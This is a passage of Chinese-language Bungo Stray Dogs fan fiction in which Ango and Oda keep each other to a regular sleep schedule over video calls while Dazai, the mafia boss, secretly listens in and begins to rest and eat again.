坂口安吾心虚地轻咳两声:“咳咳,差不多就是那种程度吧。” 把安全气囊戳破然后故意制造一场车祸什么的。 世界意识:“啊?那你还管他个屁的生活作息啊?这还不趁着他没动手赶紧跑路?!” 坂口安吾垂眸沉默片刻,然后神色如常地推一推眼镜:“我不是还活着吗?我相信他对我没有太大恶意的,至少他没有想让我去死。” 世界意识:…… 那你这个人还真是蛮容易满足的。 第5章 第 5 章 不过经过世界意识这么一提醒,坂口安吾顺势就想起了很久以前的往事。 那时候他还是一个港口mafia的情报员,经常和织田作先生还有太宰君他们去lupin一起喝酒,那个时候的太宰君在他们面前总是非常闹腾的。 “所以太宰君,您今天白天居然和织田作先生讲了几个小时的电话吗?”坂口安吾有点惊讶地看着另一边坐在吧台椅上不停转圈圈的少年:“为什么?晚上不是就可以见面了吗?” “哼哼,这是我刚发现的工作技巧!每天在上班时间和织田作还有安吾煲电话粥,这样一来上班的时间就会‘咻’地一下过去,等到回过神来的时候就会发现已经快到下班的时间啦!” 太宰趴在桌子上探出脑袋,隔着织田作之助对坂口安吾露出炫耀的笑容:“而且上班的时候也会精神满满呢,哪怕工作了一天也完全不会觉得疲惫!怎么样,这个办法不错吧?” 织田作之助跟着附和:“的确如此,上班时间的确过得很快,真不愧是太宰。” 坂口安吾:…… “不要附和啊织田作先生!吐槽他!这里正是需要狠狠吐槽的地方!你们当然会觉得时间过得快了,因为你们上班时间都一直在摸鱼啊喂!” “才不是因为摸鱼呢!”太宰不服气地戳着面前的冰球,软软的脸颊肉趴在桌子上莫名有一种气呼呼的感觉: “上班的时候玩游戏和看漫画就没有入水时间过得快,但是如果电话聊天的话时间就会比入水还要快了!顺便一提,时间过得最慢的时候就是和小矮子一起出任务的时候!” “真是的,上班时间你到底都在做什么啊……”坂口安吾简直不知道要从哪里开始吐槽才好,他心累地叹一口气,拿起面前的番茄汁喝了一口: “织田作先生也不要紧吗?我听说你们最近工作还挺忙的,这样煲电话粥你的上司没有意见?” “没关系。”织田作之助头顶的呆毛愉悦地晃悠了两下:“因为是太宰的电话,所以上司直接给我放假了。” “那很棒了,这就是干部大人的威力吗?”社畜坂口安吾发出了羡慕的声音:“我也好想放假,我已经连着五天加班到后半夜了。” 听到这句话,刚才还趴在桌子上的太宰治瞬间支楞起来,他身体前倾靠近坂口安吾的方向:“安吾!安吾!不如我们明天也来煲电话粥吧!” 他快乐地在椅子上转了一圈,看着坂口安吾的眼睛布灵布灵的:“上班时间真的‘咻’地一下就飞过去了哦,一转眼的功夫你就可以下班了呢!” 对于太宰治的提议,坂口安吾敬谢不敏:“如果有你捣乱的话,我的下班时间就会从后半夜推迟到第二天早上,首领是不会给我放假的,所以我就不得不连轴转地工作。” “好过分啊安吾!居然把我对你的关心说成捣乱吗?”太宰不开心,太宰要闹了:“而且你居然拒绝我们三个的团体活动!难道安吾要孤立我和织田作吗?” 织田作之助头上呆毛欢快地摇动几下,随即也对坂口安吾投去谴责的目光:“安吾,孤立我们就太过分了。” 坂口安吾怒而吐槽:“哪有一个人孤立两个人的?要孤立也是你们孤立我吧?” 太宰抓住机会一拍桌子:“好的,为了不孤立安吾,我明天只好给你打电话啦!” “我不是这个意思!织田作先生你倒是也说说太宰君……” 毫无悬念的,这场争执依然以太宰的胜利告终,坂口安吾在接到电话的瞬间本来都做好通宵工作到天明的准备了,结果令人意外的是,太宰君却并没有像以往那样说些槽点满满的话题干扰他的工作思路。 电话那头太宰的语气一如既往的轻快:“安吾,稍等一下,我做完这本合刊再找你聊天吧,《本周也不服输的中也》明天就到发行日了呢!” 那你倒是忙完了再给我打电话啊,而且上班时间你到底都在干什么啊喂! 坂口安吾叹一口气忍住了吐槽的**,低下头打算趁着这点时间努力把工作进度赶一赶。 电话那头非常安静,只有纸张翻动的声音时不时传来,在这样的背景音之下坂口安吾的精神反而比以往更加集中了,他忘记时间完全地沉浸在工作里,等到工作完成的时候抬头一看,才发现不知什么时候天已经黑了。 而手机的显示仍然是通话中,通话时间已经超过了四个小时。 “太宰君?你还在吗?”他有点不太确定地对着电话开口询问道。 太宰治的声音立刻就从电话那头传了过来,一如既往的充满轻快和活力,就像从魔术师帽子里扑簌簌飞出去的一群白鸽:“我还在哦!怎么样?安吾?上班时间是不是‘咻’地一下就过去了?我没骗你吧!” 电话这头的坂口安吾哭笑不得,心情却久违地轻松起来:“这还真是惊人的发现。为了感谢干部大人的热心分享,今天晚上我请你喝酒吧!” 从那以后太宰就经常在上班时间给他和织田作先生打电话,忙的时候他们就互不干扰各自工作,闲的时候就像在lupin一样聊天说笑打发时间,太宰君抱怨过手机为什么不能有三人通话的功能,以至于很久以后,坂口安吾还对着能视频会议的手机软件遗憾了好久。 这个功能出现的实在太晚,有一个人的电话已经永远都没办法打通了。 看到坂口安吾说着说着就自顾自地陷入了沉默,世界意识有点担心地开口:“你还好吗?怎么忽然不说话了?是不是果然还是因为太宰治太危险了?要不我们就去外面躲一躲……” “不,没有这回事,世界意识先生。”坂口安吾回过神来放松地靠在椅背上舒一口气:“只是忽然想起了些往事罢了,能让上班时间也轻松度过……” 说到这里,坂口安吾声音逐渐低下去,接着语气恍然大悟:“对啊,可以让上班时间也轻松度过的工作技巧!最适合现在的太宰君了!” 世界意识:…… 都这样了你还满脑子都是太宰治的作息健康吗?你这个太宰入脑的家伙真是没救了。 坂口安吾可不知道世界意识心里的吐槽,终于想到办法的他提起笔连夜设计了一整套详细可行的引导计划,甚至还不惜用上世界意识的能力安排了一次巧合,一直到天光大亮才终于意犹未尽的收笔。 是的,他又通宵了。 不过这点负担对于已经习惯于通宵工作的坂口安吾而言根本不算什么,他依然可以神色如常的上班甚至精力满满的工作,一直到下班之后他也非常精神,如果忽略他眼下的乌青的话根本就看不出这是一个两天没睡觉的人。 满脑子都是对自己计划的跃跃欲试,坂口安吾走进酒馆坐在自己的位置上点了一杯番茄汁,织田作先生果然没过多久也过来喝酒了,语气里带着令人安心的淡然:“我要一杯咖啡。” “织田先生,你今天怎么又……”坂口安吾熟稔地转过头去跟织田作之助说话,在看到对方眼下更加明显的黑眼圈之后他沉默了。 似乎是知道好友想问什么,织田作之助端起咖啡轻抿一口:“嗯,昨天晚上忽然萌发了一个不错的灵感,在构思剧情的时候越想越兴奋,回过神的时候已经天亮了。” 织田作之助头上的呆毛也跟着没精打采地耷拉下去,他放下咖啡杯转过头来,在看到安吾的瞬间再次语气平淡地感慨道:“啊,看来我们两个又通宵了,安吾。” 不,我觉得这次依然是我们三个。坂口安吾在心里偷偷地吐槽,然后他看着织田作之助浓重的黑眼圈叹了口气,放下手里的番茄汁认真地劝告道: “织田先生,你还是注意一下作息时间比较好,毕竟武装侦探社的工作还蛮危险的,因为疲劳受伤就不好了。” “嗯,我也知道,可是我控制不住。”织田作之助的眼睛里也透出几分苦恼:“一个人独处的时候总是会胡思乱想,然后就忍不住想要把灵感记录下来,不知不觉就……” 说到这里,他又低头喝了一口咖啡提神,然后才看向坂口安吾:“安吾,你的工作依然没有头绪吗?工作再忙也要注意身体啊。” “这算什么?哪怕再熬五天我也……”后面的话在织田作之助不赞同的目光中渐渐低下去,坂口安吾尴尬地摆弄着手里的玻璃杯: “我知道了,我会注意的。不过织田先生,我们两个总这样也不是办法,我倒是有一个想法可以规范我们两个的作息,不知道你有没有兴趣和我一起?” 织田作之助偏头凑过去:“什么办法?” “就是先……”坂口安吾松开番茄汁凑到织田作之助耳边,两个人嘀嘀咕咕地商量起来。 于是,非常凑巧地,今天晚上的太宰治就收获了一张织田作和安吾凑在一起说悄悄话的照片。 你们现在不是只有两个人了吗?还有什么要说悄悄话的必要啊!在一片黑暗的办公室里,他独自一人趴在办公桌上生着没人理解的闷气。 “真是的,有什么悄悄话?有什么话不能告诉我的……”太宰治一边嘀嘀咕咕一边用食指不停戳照片上织田作和安吾的脸,就像一个故意捣乱想引起别人注意的小孩子一样: “我也好想知道!说给我听嘛说给我听嘛说给我听嘛!” 他开始一边对着虚空说话一边坐在办公椅上转圈圈,就好像此时正坐在lupin的吧台椅上对着友人发脾气,然后织田作和安吾就会一脸无奈地停下正在交谈的话,他们三个的酒杯轻轻碰在一起…… “嘀嘀嘀!嘀嘀嘀!嘀嘀嘀!”回应他的只有骤然响起的闹铃声,温暖昏黄的酒吧灯光褪去了,他依然孤零零一个人坐在空旷的办公室里。 休息时间结束了。 太宰治默默收起桌上的手机,变回面无表情的样子投入到无尽的工作中去。 第6章 第 6 章 坂口安吾的办法其实非常简单,一个人会控制不住熬夜,那就干脆两个人互相监督不就好了。 “织田先生,很多企业最近都在试用一款可以远程视频会议的电脑软件,虽然还没有对个人开放,不过我有办法可以拿到两个账号。” 坂口安吾说着拿出手机不知道给谁发了条消息,片刻之后他就把收到的账号和初始密码给织田作之助展示:“我们可以通过视频会议的方式互相监督,晚上十点半准时睡觉,这样就不用担心熬夜的问题了。” 织田作之助也觉得这是一个好主意,几乎没怎么犹豫就点头答应下来:“可以。我先去买一个电脑,然后我们就开始吧。” 织田作之助的行动力是非常快的,第二天他就趁着周末休息时间买好了一台笔记本电脑并且拜托商家装好了会议软件。 速度同样非常快的还有太宰治,他在当天下午就知道了织田作忽然买了一台电脑并且安装了某会议软件的消息。 结合昨天织田作和安吾凑在一起嘀嘀咕咕的样子,太宰治觉得这个会议软件肯定和他们俩昨天的密谈内容有很大关系。 “太过分了!我一定要想办法搞明白他们两个在背着我说什么悄悄话……”太宰治嘟囔着也打开了一个笔记本电脑。 这还是他让后勤部送过来的最新款,里面除了这个视频会议之外没安装任何多余的软件,防火墙建了一层又一层,就连ip地址也是几分钟一换的,哪怕是安吾那个电脑高手,想要追踪到他也要费上一番功夫。 之所以给这台电脑安装上如此高级别的安全防护,最终目的就是为了……暗戳戳进到软件后台然后再去安吾和织田作的会议房间去窥屏。 是的,这个会议软件其实是港口mafia旗下一个子公司推出的产品。虽然中间隔了好几道空壳公司作为遮掩,但是太宰治相信以坂口安吾的能力查到这种级别的情报简直易如反掌。 也就是说,他既然敢和织田作一起用这个软件,就代表他们讨论的肯定是与工作无关的私事。 可恶,这不就更加令人在意了吗!每天晚上喝酒聊天还不够吗?还要专门开一个视频会议聊天?甚至不惜搭上自己在龙头企业的人脉!到底是要聊些什么东西啊?! 太宰治越想越心里痒痒,事实上自从知道织田作和安吾成为好朋友之后他心里那种向往和好奇根本就没停过,以前还能靠着“不能打乱五步跳楼计划”的念头强行忍住,但是一旦有不扰乱计划也能靠近那两人的方法他就很难忍住不去实行了。 反正是在网络世界嘛,而且我就偷偷地黑进去,他们俩不会发现的,就算发现了也追踪不到我,我偷偷看一眼,就一眼应该也没关系吧…… 太宰治在心里不停地说服自己,手上的动作倒是非常麻利,在后台搜索了织田作之助的名字之后,果然一个刚开不到几分钟的会议室页面立刻弹了出来。 会议室名称:早睡早起身体好 健康生活你我他。 太宰治:? 这是什么意思?那么多平行世界他们俩也没注意过养生啊? 看着只有两人的视频会议室,太宰治的心里久违地开始变得紧张,就连当初篡位把森先生踢下台的时候他都没有如此紧张过,此时他的手悬在回车键的位置,脸上的表情就像在权衡什么能影响世界的重大决定一样凝重。 犹豫了几秒钟的时间,到底是心里的好奇心占了上风,他深吸一口气,然后屏住呼吸点开了房间。 此时的坂口安吾丝毫不知道太宰治心里的纠结,他还在耐心指导电脑苦手的织田作之助调整摄像头和麦克风:“织田先生,这样看着差不多了,你说几句话试试,我这边的声音你能听清吗?” 很快电脑那边织田作之助淡然的声音传过来,视频里他后退了些许让自己的上半身出现在桌子后面:“能听清,我能看见你了,安吾。” 就在这时,世界意识兴奋的声音在坂口安吾的脑海里出现了:“进来了!太宰治真的进来这个会议房间了诶!你是怎么知道他会来的?太厉害了,你是唯一一个能给太宰治下套的攻略者啊安吾!” 坂口安吾不动声色地对着电脑那边的织田先生露出一个笑来,然后在心里暗暗解释了一句: “我也没有百分之百的把握,就是觉得……如果是太宰君的话,肯定会忍不住凑过来吧。” 就像以前在lupin的时候一样,太宰君的好奇心简直比猫还要旺盛,无论他和织田作先生讨论什么话题他都会兴致勃勃地加入,哪怕什么也不说只是简单碰个杯他也一定要凑过来。 在非常偶尔的时候,他和织田作先生还会故意逗这样的太宰君,看着他拖长着声音一边撒娇一边凑过来干杯的样子,坂口安吾的心也会不自觉柔软几分。 真是的,果然太宰君就是一个怕寂寞的小孩子啊…… 坂口安吾心里感叹,面上却没有显露分毫,他低头拿起桌上的闹钟对着屏幕展示了一下:“那么,织田先生,现在是下午两点整,我们先按照计划工作到四点半。” “嗯,安吾,工作加油。”织田作之助点点头,头上的呆毛轻轻晃悠两下,然后就拿起笔准备写作。 “织田先生也加油。”坂口安吾对着屏幕点头示意,然后也埋头扎进堆成山的文件里不说话了。 还以为他们两个在讨论什么惊天大秘密的太宰治:…… 所以你们两个费这么大劲儿开了个视频会议,就是为了周末加班工作? 他略有失望地靠在椅背上叹一口气,但是转念一想,大周末的有人陪自己加班总比自己一个人孤零零地工作要好,他又抬头看一看电脑屏幕里埋头认真工作的织田作和安吾,犹豫了片刻到底还是没有退出房间,自己也拿出一份文件投入到工作中去了。 “叮铃铃,叮铃铃……” 直到闹铃响的时候太宰治还有点恍惚,以往四点半还远远不到他给自己设定的休息时间,但是织田作和安吾都停笔了,所以他也从工作中抬起头准备抽空看看这两个人接下来还有什么打算。 “织田先生?织田先生回神了!”坂口安吾作为此次工作计划的制定者,十分坚定地唤醒了屏幕对面还沉浸在文学之中不可自拔的织田作之助: “织田先生,现在是晚饭时间。为了晚上更加高效的工作,我们需要补充体力。” 织田作之助被唤了好几声才从笔下的剧情中回过神来,他看着电脑上的时间眼里闪过一丝惊讶:“四点半了?时间过得真快啊。” 嗯,毕竟是伟大的干部大人发现的定律嘛。坂口安吾心里吐槽了一句,面上的表情却滴水不露: “应该是你创作的太过投入了。如果再继续下去的话你肯定会走前两天的老路,所以我们先吃个饭休息一下,身体舒适了晚上就不会失眠。” “原来如此,安吾懂得真多。”织田作之助放下手里的钢笔,把稿纸也移到身侧的书架上:“我听说异能特务科工作很忙,这都是你自己摸索出来的经验吗?” 不,其实我私下里工作根本不是这样的,一瓶眠眠打破然后熬个通宵才是常态,在必要的时候我甚至还可以提神饮料和安眠药对着磕,只为了能像机器人一样把作息时间进行手动调节……想到这里坂口安吾心虚地移开目光,含糊几句跳过了这个话题。 拥有众多平行世界记忆的太宰治当然也知道坂口安吾其实是一个多么不要命的工作狂,再结合视频里织田作那异常明显的黑眼圈,安吾大费周章进行这次视频会议的目的简直昭然若揭——他很担心因为写作而失眠的织田作。 安吾明明自己连续熬个六七天都毫不在意,但是却会想尽办法帮睡不好觉的织田作调整作息,这是太宰治第一次不是透过其他太宰治的回忆,而是亲眼看到这份情谊的温柔和可贵。 这种暖洋洋的感觉让他一直绷得笔直的肩颈和后背都不自觉放松下来,太宰治放松地靠在椅背上,这才发现会议室里织田作和安吾已经开始商量晚饭吃什么了。 “织田先生会做饭吗?还是要出去吃?”坂口安吾桌子上的资料也收拾得干干净净,看样子是准备吃饭了:“需要先退出会议软件吗?” “不用,我找店老板定了外送。”织田作之助头上的呆毛愉快地晃悠了几下:“他们家的咖喱很好吃,下次我带你去。” 他话音刚落门外就响起了敲门声,织田作之助的身影从画面里消失了片刻,再出现的时候,屏幕前出现了一盘红彤彤的咖喱。 “这……真的能吃吗?”看着那惊人的辣度,坂口安吾表示怀疑。 “当然可以,只是看着辣而已,其实老板的咖喱饭很美味的。”说着织田作之助舀起一勺咖喱放进嘴里嚼一嚼咽了下去,脸上也没有表现出任何异常:“真的很好吃,安吾也可以来试试。” 因为织田作之助平时真的是一位非常诚实可靠的友人,所以坂口安吾轻而易举地就相信了对方的说辞:“真的吗?那我下次可要好好尝尝。” “哈哈哈,安吾,你完蛋了!绝对会被辣到七窍生烟!”窥屏的太宰治毫不客气地发出嘲笑,他已经能想象到安吾被辣到眼泪直流的搞笑画面了。 在聊天的时候坂口安吾也把自己的晚饭端上了桌,全都是在便利店买的饭团牛奶之类的,摆的板板正正地放在面前的桌子上,坂口安吾拿起一个饭团咬了一口,两个人开始像同桌而食的友人一样边吃饭边聊天。 “安吾,你平时都吃这些吗?会不会吃腻?” “我只是工作太忙的时候才会吃速食的,织田先生。顺便一提,其实我会做饭,并且还有研究出独家秘制的菜谱。” “那还真厉害,我就完全复刻不出咖喱店老板的风味。” “说起来,织田先生,你的小说构思的怎么样了?” …… 热腾腾的咖喱饭和毫无特点的速食饭团本来应该是两种完全不同的食物,但是即使隔着电脑屏幕它们也还是无比和谐地摆在了一起,就像lupin的蒸馏酒,威士忌和番茄汁一样,伴随着这样漫无目的的闲谈似乎什么都能轻松下肚。 看着屏幕里大快朵颐的织田作和安吾,学人精太宰治沉默片刻,也拿起桌上的专线电话拨出一个数字:“给我送一份晚饭上来,立刻。” 黑时宰:我也要一起干杯~[求你了] 首领宰:我也要一起吃饭~[求你了] 安吾:计划通.jpg 作者有话说 显示所有文的作话 第6章 第 6 章 第7章 第 7 章 港口mafia的首领当然有专门的厨师随时待命,所以在太宰治拨通电话五分钟之内,秘书小银立刻就端上来一份色香味俱全的晚餐。 她其实心里既高兴又惊讶,毕竟太宰治上位以来一直都在废寝忘食地工作,每天就连睡眠时间都少的可怜,吃饭这种“浪费时间”的活动也被他一减再减,直到可能影响行动了他才会简单地对付两口。 结果今天首领居然主动提出来要吃晚餐了?这简直就是一件喜大普奔的大喜事啊!就是不知道到底发生了什么能让首领改变了主意,要是以后这个改变能一直持续下去就好了。 心里怀着些欣喜和好奇,芥川银端着餐盘走进了首领的办公室,这里看上去和平时并无不同,一样的黑暗而安静,首领低着头正阅读一份文件,看到晚餐也没什么特殊的表示,冷淡地点一点头:“先放那吧。” 这看着和平时也没什么不同啊,这晚餐首领真的会吃吗?不会放凉之后又倒掉了吧…… 虽然心里非常担忧,但是她也不是能随意关心劝诫首领的身份,所以芥川银轻轻地把餐盘放下,一脸欲言又止地离开了。 等到关门的声音传来之后,太宰治立刻把手里的文件往后一扔,然后从最下层的抽屉里把笔记本电脑拿出来打开,屏幕里安吾和织田作还在一边聊天一边吃晚饭。 太宰治也把他的餐盘挪过来,端起蟹肉粥喝了一口。 蟹肉粥淡淡的鲜味伴随着恰到好处的温热流过食道,温暖的感觉充实了五脏六腑,他又低头喝了一口,早就没有知觉的胃被唤醒,久违的饥饿感让他开始狼吞虎咽地吃下更多食物。 “安吾,你吃东西是不是太快了?就跟幸介一样。”织田作的声音带着熟悉的安心感觉从电脑里传来:“细嚼慢咽对胃更好。” “抱歉,我习惯了。”坂口安吾咽下口中的饭团之后喝了一口牛奶:“织田先生真的很喜欢吃咖喱呢,有考虑过把咖喱也写进小说里吗?” “嗯……总觉得以我目前的文笔没办法描述咖喱的美味。”织田作之助放下勺子思考了一下:“不过可以试试。豹死留皮,织田死留咖喱饭……这样如何?”* “织田先生,这听起来太恐怖了,简直像恐吓信一样!” …… 太宰治就着他们两人的闲谈把餐盘里所有的食物都吃进了肚子,吃饱之后的充实感安心得让人想要落泪,太宰治捂着肚子靠在椅子上,久违地产生了想要偷懒摸鱼的冲动。 这当然是不被允许的,所以他很快就清醒过来,屏幕里织田作和坂口安吾已经吃完了晚饭,为了身体健康和治疗失眠他们甚至还在饭后小小地活动了一下。 前杀手织田作之助慷慨地分享了一套自己常用的锻炼动作,文职人员坂口安吾运动天分实在是捉急,好好的一套动作做得不伦不类,动作各种笨拙和僵硬,几乎快把自己的身体扭成了一根麻花。 “噗!安吾,你顺拐了,这个动作抬的是右脚。” “织田先生,你刚才是不是笑我了?你刚才绝对笑了对吧!” “没,没有……” “你心虚了!你刚才果然在笑我!” 而且想都不用想太宰治那个家伙肯定都在屏幕前笑翻了吧!真是的我这都是为了谁啊?我为了他们俩绞尽脑汁结果最后受伤的只有我一个!坂口安吾忿忿不平,一张脸因为羞耻而涨得通红。 “哈哈,哈哈哈……”首领办公室里,太宰治果然在捂着肚子捶桌狂笑,他一边笑一边疯狂截图,一共二十分钟的活动时间他直接笑过去了十五分钟。 笑到最后肚子都痛了,他趴在桌子上一边深呼吸一边擦眼角笑出来的眼泪:“我,我不行了……哈哈……安吾原来运动能力这么差……其他世界他怎么从来没暴露过呢……” 对啊,这可是只有我才知道的安吾,其他世界的太宰治都没见过!想到这里太宰治心情更好了,他哼着歌把刚才截到的丑照都保存下来,准备有时间全都备份到手机里面去。 心情不好的时候还可以拿出来开心一下,总感觉未来灰暗的社畜生涯都明亮了不少呢。 安吾和织田作一直折腾到五点半才终于重新投入到工作中,太宰治当然也和他们保持了同步。 电脑里偶尔传来安吾打字或者织田作纸张翻动的声音,太宰治完全没觉得打扰,他用比以往更加专注的精神投入到工作中,等到闹钟响起的时候他才想起来已经到了自己的休息时间。 和以往累得想死的状态不同,今天他感觉自己精力还很充足,抬头看了一眼同样沉浸在工作里的安吾和织田作,太宰治毫不犹豫地按掉了闹钟继续投入到工作当中。 等到闹铃再次响起来的时候正好是十点整,坂口安吾再次负责把沉浸在故事里的织田作之助叫醒:“织田先生!织田先生!已经到了休息的时间了。” “啊,时间过得真快啊……”织田作之助回过神来,动作慢吞吞地开始收笔:“果然两个人互相监督会好很多,如果是我一个人肯定又要通宵了。” 太宰治这次没有打算跟着休息,能像今天这样跟着安吾和织田作工作生活半天的时间他已经很开心了,接下来他打算等他们两个关掉视频之后就继续通宵。 而坂口安吾则看着织田作之助脸上还没怎么回归现实的神情忍不住目露担忧:“织田先生,你困吗?现在能睡着吗?” 织田作之助收拾东西的动作停了一下,然后十分诚实地摇摇头:“完全不困。” “现在这样的状态就算躺下你肯定也会满脑子故事剧情很久睡不着觉的,所以我还准备了最后一个办法。”坂口安吾推一推下滑的眼镜,作出一副非常可靠的样子。 “什么办法?”织田作之助的呆毛好奇地晃悠了两下。 “总之,我们先去洗漱吧,等到一会躺在床上关掉摄像头只留音频就好,我准备了睡前故事。”坂口安吾的表情依然一本正经。 太宰治:…… 安吾,在你心里织田作到底几岁啊? 这种正常人都会忍不住吐槽的事放在织田作之助这里很轻易地就被接受了,他还非常有经验地点头赞同:“原来如此,我以前给幸介和美咲他们讲故事的时候他们也会睡得很快呢。” 太宰治:…… 所以织田作你就如此自然地接受了被安吾当成小孩子这件事吗? 以及为什么是我在吐槽?我和安吾的角色是不是反了? 眼看着已经去洗漱的织田作和安吾,太宰治犹豫了一下,还是也站起来跑去洗澡换衣服了。 我……我就是想听一听安吾到底准备了什么睡前故事而已,听完我就继续工作!我才不会被小儿科的童话故事哄睡着呢! 学人精太宰治如此想到。 但是他似乎忘记了一件事情,其他世界里在安吾办公室睡得最香的就是他了。 是的,某种程度上来说坂口安吾对于如何让太宰治睡觉这个事儿经验还挺丰富的。 虽然说起来都是一些被迫害的血泪史就是了…… 在洗澡刷牙换上宽松的睡衣之后,太宰治带着那台笔记本电脑躺在宽敞的床上,会议室里织田作和安吾的摄像头早就关闭了,冷清的卧室里一片漆黑。 “那么,织田先生,我就开始了。”坂口安吾平淡无波的声音从电脑里传出来: “本周三,全球金融市场股指全面收跌,债券收益率收益率小幅上升,市场对央行降息预期普遍悲观。 根据最新公布的数据展示,我国消费者价格指数同比上涨2.7%,显著高于之前预测的1.2%,与此同时,核心CPI同比涨幅……” 坂口安吾准备的并不是什么童话故事,而是随便从报纸上截取的一篇金融分析报道,他毫无起伏的声线说着一些复杂的数据分析,听起来竟然还有几分晚间金融播报的样子。 这种感觉就像吃饱喝足之后瘫在沙发上,电视机里的新闻节目传来一些无关紧要的消息,太宰治感觉耳边的声音开始逐渐模糊,乏味的金融分析不知不觉蜕变成一成不变又令人安心的背景白噪音。 什么嘛,安吾准备的东西好无聊……他躺在床上还嫌弃地翻了个身,缠着绷带的脸颊陷在柔软的枕头里,背对着半开的笔记本电脑迷迷糊糊地陷入了沉眠。 安吾一直把整篇报道全都念了一遍,停下来的时候电脑对面除了平缓的呼吸声已经什么都听不到了。 “怎么样?他俩睡了吗?”他在心里悄悄问世界意识。 “睡的可香了,看起来天亮之前应该是不会醒了。”世界意识佩服得五体投地:“宿主,你好厉害,之前那些企图靠近和照顾太宰治的攻略者全都被当成刺客或者间谍处理掉了,你还是第一个成功的。” “成功的不是我。硬要说的话是织田作先生的功劳。我只不过是个路人A而已。”坂口安吾苦笑一声,抬手轻轻关掉了视频会议软件,把手里的报纸叠起来收好。 “晚安,织田先生。” 晚安,太宰君。 *三次织田作在自由轩留下的话 作者有话说 显示所有文的作话 第7章 第 7 章 第8章 第 8 章 太宰治本来是睡眠很少的少眠者,但是奈何自从当上首领以来他实在是太累了,这种累不只是身体上的疲惫,更有精神上一直难以放松下来的高压状态。 所以今天这一觉他就睡得格外地长,等他睁开眼睛的时候还一时对着一片黑暗的房间没回过神来,温暖又柔软的被窝实在是太舒适了,充足休息之后的惬意让他忍不住伸了个懒腰。 上一次这么放松是什么时候来着?可能要追溯到捡到书之前了吧。 太宰治揉揉眼睛在床上扑腾了几下,到底还是不情不愿地坐了起来,放在一边的笔记本电脑早就自动休眠了,他拿过来打开一看,果然视频会议早就关闭了。 “竟然已经八点半了吗?怎么回事啊我,竟然听着那些乏味的新闻节目睡着了,都怪安吾那个家伙太无聊了吧,果然他只有吐槽的时候才比较有趣……” 嘀咕着一些安吾的坏话,太宰治的嘴角却一直都没有放下来过,洗澡刷牙换衣服的时候也久违地哼起一些奇奇怪怪的歌,等到一切准备就绪走进办公室的时候,他对着堆积如山的工作没精打采地瘫在办公椅上不动了。 “唉,明明还是大清早,我应该找一条清澈干净的河流清爽地入水才对啊,为什么会有这么多工作……好想把安吾拽过来帮我干活……” 早知道当初他来卧底就不拒绝的那么坚决了,以安吾的工作能力我能少干多少活儿啊? 自从成为首领以来这还是他第一次想去入水,也是第一次放纵自己散漫的性格和想法冒头,看来昨天一天确实过的太过舒适了,难怪其他世界的太宰治那么喜欢和织田作还有安吾待在一起。 之前他只是透过其他太宰治的记忆去看,亲身体验的感觉果然还是不一样的。 但是太宰治毕竟是太宰治,他没有放任自己任性太久,等到闹钟的指针指向九点的时候,他还是叹一口气从椅子上爬起来继续工作了。 今天是周日,织田作和安吾下午还会开视频会议吧,唉时间过得好慢啊,他们俩为什么不能从早上八点半就开始陪我上班…… 不能从上午开始那当然是因为安吾和织田作还各自有自己的事情要做,织田作要趁着休息日去看一看自己收养的那些孩子们,而安吾嘛…… 他正在努力攻读各种心理健康相关丛书。 什么弗洛伊德,荣格,《青少年心理学》,《异常心理学》等等,各种各样的专业书籍在他的书桌上摆的满满当当,而坂口安吾手里正拿着一本读的津津有味,那认真的样子看得世界意识头皮发麻。 “宿,宿主,你在做什么?” “正如您所见,世界意识先生。我在努力学习心理学知识,毕竟太宰君的情况不好请专业的心理医生,所以我只好靠自己来摸索了。”坂口安吾头也不抬地回答。 “道理我都懂。”世界意识的吐槽声逐渐崩溃:“但是为什么是《叛逆期青少年的正确引导》这本书?太宰治今年已经19了吧?” 这算哪门子的青少年?哪门子的叛逆期? 谁家小孩青春期跑去当黑手党老大啊?这叛逆期来的也太要命了吧! “那是因为太宰君的心理状态从接触到那本书开始就停滞了,只是因为他头脑太过聪慧所以不明显而已。”坂口安吾烦闷地叹一口气: “应该有的同伴朋友他没有,应该经历的悲欢离合他没经历,织田作先生本应给他的引导同样适得其反,所以现在的太宰君心理上依然是一个十几岁的孩子。” 十六岁的太宰君还是一个对生命意义感到迷茫的孩子,但是二十二岁的太宰君已经成长为一个温柔而强大的成年人了。 他接受人生无常,但是愿意善待相遇的每一个过客;知道人性丑恶,但是愿意为了正义运用自己的头脑;他会时时怀念织田作先生,但是也会挣扎着活下去,哪怕面对的依旧是孤独迷茫的人生。 这其中的蜕变织田作先生居功至伟,他用自己的离开推了太宰君一把,把他推到光明和成长的那一边去,让一个迷茫哭泣的孩子蜕变成了坚强温柔的成年人。 反过来说,这个世界里拒绝接触织田作先生的太宰君其实依然还是那个因为孤独而迷茫哭泣的孩子,他为了保护织田先生自己留在了黑暗这一边,从某种层面上来说他同时也拒绝了成长。 “自顾自地决定把所有人推远,用自虐一般的方式工作和生活,不给织田作先生彼此熟悉的机会却又会因为他的敌意感到委屈,最后干脆放弃一切地跳楼自杀……从太宰君的所作所为来看他不正是一个在闹别扭的孩子吗?” “emm……你对太宰治的滤镜会不会太厚了一点?这听起来哪里像一个闹别扭的孩子了?”世界意识依然不能理解。 “好吧,我换个角度。”坂口安吾慢条斯理地又翻了一页书:“你有想过获得书的太宰君为什么把头上的绷带换边绑了吗?明明那么多世界里都是缠住右眼才更加习惯的。” “没想过,所以为了什么?” “是为了与其他世界的太宰君做出区别。”坂口安吾看书的动作不停,心里还非常耐心地回复着: “包括后来的拯救织田作先生也是,某种程度上来说这是太宰君对自己命运的反抗,他想要通过这一点证明自己和其他世界的太宰君是不同的。 而这种想要与众不同的心态则正是青少年叛逆期的标志之一。” 世界意识:…… 察觉到对方居然罕见地不接话了,坂口安吾又翻过一页书,在心里一心二用地问道:“怎么了世界意识先生?我解释的还不够明白吗?” “不,你解释的很有道理。”世界意识语气复杂:“就是感觉你似乎很了解太宰治的样子,包括之前也是,还能料准太宰治的心态把他引进视频会议室什么的……你是他的谁啊?朋友吗?” 坂口安吾翻书的动作几不可查地一顿,语气听起来也和之前没有任何区别:“只是认识罢了。你不是说了吗?我是一个路人A。” 一上午的时间就这么在坂口安吾的阅读中度过了,等到时间来到了中午,他走去厨房把昨天剩下的饭团热一热随便对付一口,又出门去便利店买了新的便当回来,把所有的心理学书籍收起来之后,终于到了和织田作先生约好的视频时间。 当然,还有一个暗戳戳窥屏的太宰君。 “下午好,织田先生,你昨天睡得还好吗?”他隔着屏幕打招呼。 ”下午好,安吾。”屏幕那边的织田作之助脸上的黑眼圈终于消失了,就连头顶的呆毛看着都精神了不少:“昨天我睡的很好,你想的办法很有用,多谢了。” 